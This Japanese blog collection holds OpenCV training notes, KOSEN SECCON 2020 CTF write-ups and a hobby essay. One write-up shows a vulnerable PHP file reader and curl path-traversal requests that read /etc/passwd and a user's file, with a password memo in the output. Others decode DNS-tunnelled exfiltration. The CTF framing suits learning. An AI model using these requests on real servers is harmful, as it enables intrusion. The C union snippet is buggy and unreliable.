課題メモ(カスケード型分類器)
opencvでカスケード型分類器を作成する課題で色々ごちゃごちゃしたので覚え書きとして。 深夜に書いたので読みづらい文章なのは勘弁してください((。
仮想環境としてminicondaを使ってます。windowsファイルは配布してくれてるみたいなんだけどwindowsにpython入れてないしめんどいからubuntuでやりました。
インストール
まずopencvの3.x.x台を入れる必要があるんですがpythonのバージョンが2.7~3.6辺りじゃないと入らないらしい(エラーメッセージちゃんと読んでないからわからんけど。僕はpython2.7でやったら入りました)。
$ conda create -n "test" python=2.7 $ conda activate test $ conda install -c conda-forge opencv=3.4.4
opencvのバージョンは適当な3系を選びました。conda-forgeのラベル使った方が良いのかもしれないけどよくわからなかったしインストールできたのでとりあえずヨシ(良くない)。
今回必要になるopencv_traincascade.exeとopencv_createsamples.exeはminiconda/pkgs/opencv-(バージョン)/bin/にあると思います。world3412.dllもあるって書いてたんだけど僕の環境ではなかったしなくても動きました(謎)。
あと必要なdll(linuxでは.so)がpkgs/opencv-(バージョン)/lib/にlibopencv-(名前).soであるはずなのでこれをコピーします。
試しにopencv_createsamplesを実行しようとするとシェアードライブラリ関連のエラーが出るのでldd通して足りないものをインストールしてldconfigとか。
$ ldd opencv_createsamples | grep not $ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:(ファイルのあるディレクトリ)
1つ目のコマンドで足りないシェアードライブラリが出てきます。僕の環境で足りなかったもののインストール手順は下に書いてますが大体ライブラリ名で検索すれば解決方法出てくるので頑張ってわからなかったら聞いてください。2つ目のはパス通すときに使うコマンドです。
$ sudo apt install libjpeg9-dev libopenblas-base python3-pyqt5
libjasper-devとlibwebp-devがデフォルトだとインストールに失敗するのでここを参考に/etc/apt/sources.listに追記。
$ sudo add-apt-repository 'deb http://security.ubuntu.com/ubuntu xenial-security main $ sudo apt install libjasper-dev
これでjasperは大丈夫だったんですが,webpは上手くいかなかったのでここを参考に手動でインストールして解決。libwebp.so.7のシンボリックリンク作成してパス通せば大丈夫だと思います。
$ wget https://storage.googleapis.com/downloads.webmproject.org/releases/webp/libwebp-1.0.2.tar.gz $ tar xvfz libwebp-1.0.2.tar.gz $ cd libwebp-1.0.2 $ ./configure --prefix=/usr/local/libwebp/1_0_2 $ make $ make install $ ln -s /usr/local/libwebp/1_0_2/lib/libwebp.so.7 /usr/local/lib/ $ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib
権限の都合でsudoがいるとこがあるので適宜読み替えてください。
ベクトルファイル作成
ここまでくればopencv_createsamplesが動くのでオプションとか付けて実行。僕の環境では正解画像をchuni.jpgとしています。
$ ./opencv_createsamples -img ./pos/chuni.jpg -vec ./vec/chuni.vec 2/14修正 - オプションそんなにいらないっぽい
-showはお好み。
学習させてみる
次にopencv_traincascadeを実行する。
$ ./opencv_traincascade -data cascade/chuni/ -vec vec/chuni.vec -bg neglist.txt -numPos 30 -numNeg 8
”Train dataset for temp stage can not be filled. Branch training terminated.Cascade classifier can't be trained. Check the used training parameters."というエラーが出る場合neglist.txtのすべてのファイルに./neg/(ファイル名)とすれば治るらしいです。ここ参照。
"required leaf false alarm rate achieved"はエラーじゃなくて学習終了?のようなのでこれが出たらOK。
学習は成功したんですけど検出が上手くできないので残りは後日追記します。
KOSEN SECCON 2020 Write-Up(olton)
oltonさんのwriteupを載せています。
その他のwriteupは以下のリンクからどうぞ。
tk , つた , hk
docxのもう一つの顔(forensics/stego)
画像が破損している!?
画像ファイルの貼られたdocxが渡される。docxに限った話じゃないがMSofficeはだいたいzip圧縮なのでunzipする。word/mediaディレクトリが画像とかを格納してるので見るとflagが書かれてる。
FLAG{ALT+I+P+W}
RBF攻撃
会員サイトにリバースブルーとフォース攻撃が行われた。
特定のパスワードと不特定のユーザの組み合わせで大量のアクセスが行われたようである。
ログイン試行がなされたユーザの情報はあるが、実際にログインしたかログでは不明であった。
攻撃者が用いた特定のパスワードは解析により得ることができた。
以下の情報からログインが成功してしまったユーザを調査せよ。そのユーザ名がフラグである。
- ログイン試行履歴アカウント(LoginAttemptHistory.txt)
- ユーザ名
- パスワード(md5)
- 特定パスワード一覧(AttackPasswordList.txt)
問題にあるとおり、ユーザ名とパスワードがタブ文字で区切られたテキストファイル、パスワードっぽいものが一行ずつ書かれたテキストファイルの2種類が渡される。
ご丁寧にmd5って書いてくれてるのでhashlib使ってハッシュ化して比較する。
import hashlib with open('AttackPasswordList.txt') as f: l_strip = [s.strip() for s in f.readlines()] for text in l_strip: result = hashlib.md5(text.encode('utf-8')).hexdigest() with open('LoginAttemptHistory.txt') as at: atack_str = [s.strip() for s in at.readlines()] for sp in atack_str: spl = sp.split('\t') if result == spl[1] : print(spl[0],result)
変数名とか最後投げやりになってますね。気にしないで...
pythonあんま書いたことなかったので途中bashでgrepしようかとかいろいろ考えたけど結局pythonで書いた。
FLAG{Isabella}
Find1,Find2(forensisc/stego)
この中にひとつだけ、FLAGが書かれたbmpファイルがあるらしい...
上記はFind1の問題文。圧縮ファイルの中に100個の破損したbmpファイルがあってその中でひとつだけ正常なのがある。ファイルマネジャーでプレビューできるやつが正常なのでちょっとスクロールしたら見つかった。100ならイケる。
Find2は数が10000個に増えてダミーも破損して無くてノイズ画像になってる。画像が解析できそうなpythonのライブラリダウンロードしてる時スクロールしてたら見つけた。作成者の意図的に中心部(5000~7000)にあるかなって見てたらあった。
作成者さんごめんなさい。
寄生虫のようなマルウェア(network)
攻撃者がDNSトンネリングを行うマルウェア「Helminth」を用いて私のPCにある大変貴重なフラグを覗き見てしまった。しかし幸いにも我々はその一部始終をパケットとして記録することができた。
どのような情報が取られたのか私に教えてほしい。
「Helminth マルウェア」についてggると、こことかがヒットする。
なるほど情報は攻撃者からならipアドレスで、被害者からはURLの形で送られるらしい。そんでもってアスキーコードらしい。
WireSharkとかで見てみると、ipをWireShark君がアスキーコードで変換してくれてる。
(ここに本来は画像が入るのですが,はてなブログで上手く表示されなかったのでこちらをご覧ください)
なので思っきしtypeとか書いてある。4文字ずつなのがもどかしいけど、127.0.0.1が通信終了っぽいので全部戻すと
type "C:\ProgramFiles\Rookie\CTF\FLAG.txt"
はえーすっげぇ。
さっき言ったとおり通信は名前解決するURLを通じて行われるので見てみると、明らかに正常ではないURLへの名前解決が行われてる。
なんか順列っぽくなってる箇所見つけたから抜き出すと、こんな感じだった。
00L01000JQ30D0A433A5C55736572735C7368753E747970652022433A5C.s.com 00L01001YRE50726F6772616D2046696C65735C526F6F6B69655C435446.s.com 00L01002QSF5C464C41472E74787422200D0A464C41477B48656C6D696E.s.com 00L010034YQ74685F6E69686F6E676F5F64655F6B697365696368755F72.s.com 00L01004K33617369796F21777777777D0D0A.s.com
先頭の何バイトかは通信モードとかっぽい。いい感じにアスキー変換すると
C:\Users\shu>type "C:\Program Files\Rookie\CTF\FLAG.txt"
FLAG{Helminth_nihongo_de_kiseichu_rasiyo!wwww}
こんな感じになったのでこれがFlag。(改行コードは無かったけど)
PHP Beginner Practice 1 (exploit/pwn)
問題分は忘れた。あったっけ?
ユーザディレクトリ直下のuser.txtを読みにいく問題。
readfile.phpにPOSTでfile名なげるWebページがあるので、curl で自分自身を出力させてみる。
curl http://セキュコン/readFile.php -XPOST -d 'file=readFile.php'
<!--?php $file=fopen("/var/www/html/" . $_POST['file'], "r"); echo fread($file, filesize($_POST['file'])); fclose(); ?-->
まぁreadFileからも想像できたけどモロにディレクトリトラバーサル。とはいえこの段階でtuta氏からソースとともに投げられたので、私としてはすでにreadFile.phpがある状態から始まった。これでhome/ユーザ名/user.txt指定してやればいいけど肝心のユーザ名が分からない。
とりあえず/etc/passwd見てみる。
curl http://セキュコン/readFile.php -XPOST -d 'file=../../../etc/passwd'
見れた。画像とり忘れてたけどdachshundとpomeranianとかいうユーザがいるので普通にreadFileしてみる。
curl http://セキュコン/readFile.php -XPOST -d 'file=../../../home/dachshund/user.txt'
FLAG{MmhhwFkakNwfZ6etfgZJQHglSKhyuUzJ}
memo:phpmyadmin:U6ys8Izzy8dV
見えた。次の問題がpomeranian/user.txtを見る問題だったけど解けなかった。t.k氏がhashまでは突き止めてたらしい。情報の共有不足である。
KOSEN SECCON 2020 Write-Up(hk)
hk君のwriteupを載せています。
その他のwriteupは以下のリンクからどうぞ。
tk , つた , olton
1.デコードせよ(encode/crypto)【50】
FLAG%7B%25encoding%3C!%3E%7D
ヒントの通り、これはエンコードされたURLなので、デコードすればよい。
FLAG{%encoding<!>}
10.rotten3(encode/crypto)【100】
与えられたファイルを読むと、シーザー暗号で暗号化されたHTMLファイルだったので、Cryptii で復号した。
復号されたHTMLファイルをブラウザで開くと、Of courseの左側にFLAGらしき画像があった。
これをダウンロードして、GIMPなどで見てみると、FLAGが読める。
FLAG{rot_ten_plus_3_is_rot13}
11.ECCp-20(encode/crypto)【250】
楕円曲線に関する問題が2問出題される。
スカラー倍
$ nc (IPアドレス) (ポート番号) ##################################### Let's play with ECC! ECC : y^2 = x^3 + x + 3 (mod 0xddccb) P(x, y) = (0xaaaef, 0xbcdea) ##################################### 2P = (?, 0x47231) :
最初に接続すると、楕円曲線の式やP点などの情報が与えられる。
Elliptic Curve Calculator に各パラメータを入力して計算すると、 $$ 2P = (558440, 291377) $$ が得られ、?部分を16進数変換した0x88568が答えとなる。
離散対数問題
$ nc(IPアドレス) (ポート番号) ##################################### Let's play with ECC! ECC : y^2 = x^3 + x + 3 (mod 0xddccb) P(x, y) = (0xaaaef, 0xbcdea) ##################################### 2P = (?, 0x47231) : 0x88568 Right!! Q(x, y) = (0xcddee, 0xcddef) ?P = Q :
$$ Q=nP $$
を満たすnを求める問題となっている。この場合、値が小さいのでnを求める事ができる。
今回はPollard's rho algorithmを用いて解いた。
参考:楕円曲線上の離散対数問題に対するアプローチ(Baby-step giant-stepとPollard's rho algorithm)
from random import randint def pollards_rho(E, P, Q, div): n = E.order() R = [] Rab = [] a = randint(0, n) b = randint(0, n) R.append((a*P) + (b*Q)) Rab.append([a, b]) M = [] Mab = [] for i in range(div): a = randint(0, n) b = randint(0, n) M.append((a*P) + (b*Q)) Mab.append([a, b]) S = R[0] i = 0 while True: m = int(S[0]) % div S = S + M[m] Sa = Rab[i][0] + Mab[m][0] Sb = Rab[i][1] + Mab[m][1] if S in R: Ra, Rb = Rab[R.index(S)] d = (Sa - Ra)*inverse_mod((Rb - Sb), n) % n return d else: R.append(S) Rab.append([Sa, Sb]) i += 1 p = 0xddccb a = 1 b = 3 E = EllipticCurve(GF(p), [a, b]) P = E([0xaaaef, 0xbcdea]) Q = E([0xcddee, 0xcddef]) print(hex(pollards_rho(E, P, Q, 20)))
$ sage solve.sage 0x975b2
$ nc(IPアドレス) (ポート番号) ##################################### Let's play with ECC! ECC : y^2 = x^3 + x + 3 (mod 0xddccb) P(x, y) = (0xaaaef, 0xbcdea) ##################################### 2P = (?, 0x47231) : 0x88568 Right!! Q(x, y) = (0xcddee, 0xcddef) ?P = Q : 0x975b2 Excellent!! FLAG{Su-gaku_is_tanosii}
FLAG{Su-gaku_is_tanosii}
17.熱血計算塾(programming)【50】
15-14や5+31のような計算問題が100問出題される。
渡されたauto_calc_sample_v3.py
を読むと、
# ここに計算する処理を記述する
と書かれた行があり、その辺りを変更して実行するとFLAGが得られる(過去の自分よ、なぜevalを使わなかったんだ…)。
equation = data.decode().split("=") nums = equation[0].split("+") if len(nums) == 1: nums = nums[0].split("-") nums[1] = "-" + nums[1] answer = int(nums[0]) + int(nums[1])
18.15game(programming)【200】
2人で交互に数字を言い合う(プレイヤーは先攻)
最初は1からはじめ、1度に1~k個の数字を言うことができる
(例.2から5なら、2:5と入力)
nを言ったら負け
このようなゲームに5回勝利したらフラグが表示される(5ラウンド目は地獄)。
このゲームは先攻必勝であることが知られており、 $$ n-1,n-1-(k+1),n-1-2(k+1),n-1-3(k+1),\dots $$ を言えばよい。
import ptrlib def must_nums(k, n): i = 0 nums = [] while True: x = n - 1 - i * (k + 1) i += 1 if x < 1: break else: nums.append(x) return nums def send_num(sock): # kとnを受け取る d = sock.recvlineafter("Up to ").decode() k = int(d.split()[0]) n = int(sock.recvlineafter("BadNum is ")) nums = must_nums(k, n) nums.reverse() # 初手 sock.recvuntil("Your turn:") sock.send("1:" + str(nums[0])) # それ以降 for i in range(1, len(nums)): m = sock.recvlineafter("My turn: ").decode() s = int(m.split(":")[1]) sock.recvuntil("Your turn:") sock.send(str(s + 1) + ":" + str(nums[i])) sock = ptrlib.Socket("(IPアドレス)", (ポート番号)) # 5ラウンド for _ in range(5): send_num(sock) # 4は適当 for _ in range(4): print(sock.recvline().decode().strip())
FLAG{このゲームには必勝法がある・・・}
19.値段の比較はお手の物(programming)【200】
ページ内には名前や値段などが書かれた商品列があり、数秒ごとに更新される仕組みになっている。
「"最高"値の商品名を入力してね」「"最安"値の商品名を入力してね」「〇〇番目に高い商品名を入力してね」「〇〇番目に安い商品名を入力してね」の4パターンの指示が出され、それを連続で150問正解するとFLAGが表示される。
ということで、問題を自動で解くプログラムをPythonで書いた(汚いof汚い)。
import time from selenium import webdriver from bs4 import BeautifulSoup # chromeを起動 driver = webdriver.Chrome("c:\\webdriver\\chromedriver.exe") url = "(URL)" # urlを開く driver.get(url) # 待機(待たないと読み込みが間に合わない) time.sleep(10) for _ in range(150): # ソースを取得 html = driver.page_source # BeautifulSoupでhtml解析 soup = BeautifulSoup(html, "html.parser") lead = soup.find_all(class_="lead") message = lead[0].text.split()[0] results = soup.find_all(class_="card") # 名前 d1 = [] # 値段 d2 = [] for r in results: datas = r.text.split() d1.append(datas[0].split(":")[1]) d2.append(int(datas[1].split(":")[1].split("円")[0])) if message == '"最高"値の商品名を入力してね': sort_d2 = sorted(d2, reverse=True) x = sort_d2[0] name = d1[d2.index(x)] elif message == '"最安"値の商品名を入力してね': sort_d2 = sorted(d2) x = sort_d2[0] name = d1[d2.index(x)] else: m = message.split("に") # 番号 find_n = int(m[0].split("番")[0]) if m[1] == "高い商品名を入力してね": sort_d2 = sorted(d2, reverse=True) else: sort_d2 = sorted(d2) x = sort_d2[find_n - 1] name = d1[d2.index(x)] driver.find_element_by_id("name").send_keys(name) driver.find_element_by_class_name("btn").click() time.sleep(1)
FLAG{けんじつなありのさんもわすれないでね}
20.おいしく焼けました(web)【100】
Cookieに適当な値を入れると、hintとflagが出現した(ほとんど覚えていない)。
FLAG{cookie_yakiyaki}
KOSEN SECCON 2020 Write-Up(つた)
つたさんのwriteupを載せています。
その他のwriteupは以下のリンクからどうぞ。
tk , olton , hk
ホストの台数(network)
ネットワーク 192.168.10.0/26 に参加できるホストは最大で何台か フラグの形式は半角数字2桁です
CIDR表記を読み解くことで台数がわかる。 この場合、192.168.10.0がネットワークアドレスで、ブロードキャストアドレスは192.168.10.63である。 ゆえに、このネットワークで使用可能なホストは192.168.10.(1~62)の62台である。
FLAG{62}
Simple HTTP(network)
このパケットからフラグを読み取ってください。
この問題はWiresharkやNetworkMiner用いて解く。
Wiresharkの場合 httpストリームを追跡するとフラグを見ることができる。
NetworkMinerの場合 Filesタブを見ると3件ほどhtmlファイルがある。 その中にあるindex.htmlを開くとフラグを見ることができる。
FLAG{HTTP is Simply!}
KOSEN SECCON 2020 Write-Up(tk)
高専SECCONお疲れ様でした。
恐らく最後の参加で6位(同率5位)は十分好成績だと思うのでほっとしています。
Writeupですが,特にBinaryに注力して解いたのでBinary中心のラインナップになってます。
なお,他メンバーのwriteupも当ブログにUPしますので,そちらも見てください。
つた , olton , hk
目次
- 足し算しよう(programming)
- ローカルプロキシ入門(Network)
- 一時停止(Binary)
- Maruware(Binary)
- デバッガ(Binary)
- 感想
足し算しよう
面倒なのでCasioの高性能電卓でsum関数使って解きました。excelとかでもいいと思います。
FLAG{49505500}
ローカルプロキシ入門
とりあえずローカルプロキシとのことなのでBurpSuiteを導入。
普通にリクエスト送信してみるものの通らなくて一旦放置していたところチームメイトから同ディレクトリにhint.phpがあると教えてもらいました。
hint.phpの指示に従ってrobots.txtを見ると"lbauccckounp"というディレクトリがあるらしいです。ディレクトリ内容が見えたので中にあったflag_get.txtを開くとflag_get.phpの内容が書かれていました。
リクエストの一番下にproxyサーバの種類が書かれており,OWASP ZAPとなっていたのでBurpSuite?に変更してflagゲット。
FLAG{FiddlerIsNo1}
一時停止
File.zipが渡されます。「ファイルの種類を特定し~」という問題文とzipファイルからdocxに変えるような問題と推測してとりあえず試してみましたが失敗。
fileコマンドにかけてみるとどうやら普通のzipファイルで中身が問題ファイルらしい(おい...)。
解凍するとFileというファイルが出てくるのでこれをfileコマンドにかけます。AVIファイルのようなので拡張子をaviに変更しとりあえず再生してみると一瞬だけflagが見えます。今回はたまたま環境にaviutlが入っていたのでロードしてコマ送りするとflagゲット。
FLAG{CEwm6E9k}
Maruware
Maruware.exeが渡されます(こわ)。とりあえず実行してみるが何も起きない。
試しに何か出てこないかな~とstringsコマンドにかけると"HINT_DoYouKnowILspyOrDnspy"と出てくるのでdnspyにロードします。
ざっと目を通すとConfigのInithializationメソッドが怪しそう。
上のaメソッドで受け取った文字列のバイトコードと18のxorを取って16進数変換して文字列出力し,その結果がInitializationにある文字列(545E5355695F534047455340575B41415354464B6F)と一致すればいいようです。
ここまでわかれば上の文字列を分割して18とxorを取れば元に戻るので,ASCIIで変換すればflagゲット。
計算結果 : 70 76 65 71 123 77 65 82 85 87 65 82 69 73 83 83 65 70 84 89 125 18
FLAG{MARUWAREISSAFTY}
デバッガ
checker.exeが渡される。とりあえずdnspyにロードしてみるがdnspyではダメなよう...。
ここはIDAの出番ということでIDAに突っ込みます。ざっと目を通すと大体この辺りが怪しそう。
赤く塗ってある所の1個下の分岐が左側に行けばいいので分岐箇所にブレークポイントを置いてデバッグ。デフォルトだと右上の方にレジスタが表示されてるので右クリックでZFを1にしてjnzをtrueに変更するとflagゲット。
感想
今回のBinary問で出されるプログラムが全体的にwindowsで解析するようになっててgdbとobjdumpをあんまり使えなかったので途中ほんとに焦ってましたが解けて良かった...。
今後は今回レベルのpwn/exploitが解けるように頑張っていきたいですね。
簡単な和集合の実装
今回はCで簡単に和集合を実装する方法を書いていきます。簡単になので処理速度などについては一旦おいておきます。
考え方
何らかの集合A,Bがあるとします(面倒なのでプログラム中で定義します)。和集合の格納先はU(Union)とし,適当なサイズの配列として定義します。
まずAの要素をAに全て格納します。この時点でUのサイズはAのサイズと同一になります。次にBの要素のうち,Uの要素でないものを格納していきます。
実装
char *a[]={"aの要素1","aの要素2"},char *b[]={"bの要素1","bの要素2"},u[100]; int size_a=sizeof(a)/sizeof(char*),size_b=sizeof(b)/sizeof(char*),size_u,flag=0; for(int i=0;i<size_a;i++){ u[i]=a[i]; } size_u=size_a; for(int i=0;i<size_b;i++){ for(int j=0;j<size_u;j++){ if(strcmp(b[i],u[j])==0){ flag=1; break; } } if(flag==0){ c[size_u]=b[i]; size_u++; }else{ flag=0; } }
変数の説明
- a,b,u : 集合の要素を格納する配列
- size_a,size_b,size_u : 配列のサイズ
- flag : bの要素がuの要素と一致した場合に1になる
最後に
以上で部分集合を作成する処理自体は実装できます。
今回は出現回数をカウントする必要等がないので一致した時点でbreakしてますが,回数を数えたい場合はcounterなどを用意してインクリメントするのが楽です。
履歴書に書ける趣味の話
こんばんは。現在履歴書と悪戦苦闘中です...。
この記事はほんとに困る人は困ると思うのでぜひ後世に語り継いでください。
趣味
(履歴書に書ける)趣味がない。一番困りました。
僕の趣味はゲームとタイピングなんですが(最近は色々始めたけど最近過ぎて書けないです)、これらを趣味欄に書くには実績がなさ過ぎました。
お船の1位とか書いてもふざけてるのかと思われそうで流石に書けなかったです。テトリスならぎりぎりかけそうだけどもうちょっと上手くないと厳しいかなと思って断念。
最低限読書が趣味です程度は書けるようにしておいた方がいいです。
そもそも趣味とは
wikipediaで調べると
趣味(しゅみ)は、以下の3つの意味を持つ。
- 人間が自由時間に、好んで習慣的に繰り返しおこなう行為、事柄やその対象のこと
- 物の持つ味わい・おもむきを指し、それを観賞しうる能力をもさす。調度品など品物を選定する場合の美意識や審美眼などに対して「趣味がよい/わるい」などと評価する時の趣味はこちらの意味である。
- 人間が熱中している、または詳しいカテゴリーのこと。
ここで扱う趣味は1と3のことですね。
まず高専は夏休みも春休みも長いので惰性的に過ごすよりは何かしらの趣味を探しておいた方がいいのは前述の通りです。
趣味にどんなのがあるのって人(陰キャかよ)はこことかを参考にしてみたらいいと思います。
オススメ
低コストでできてオススメなのは写真とかですね。カメラ買うと高くなるけどスマホでできるしtwitterとかinstagramとかに上げてfav稼ぎとかするとモチベも出ていいんじゃないですか(知らんけど)。
あとぱっと思いつくのがないけど高専生ならタイピングとかいい気がしました。
言いたいこと
とりあえずほんとになくて困ってるので今考えてないなって人は作っておいた方がいいです。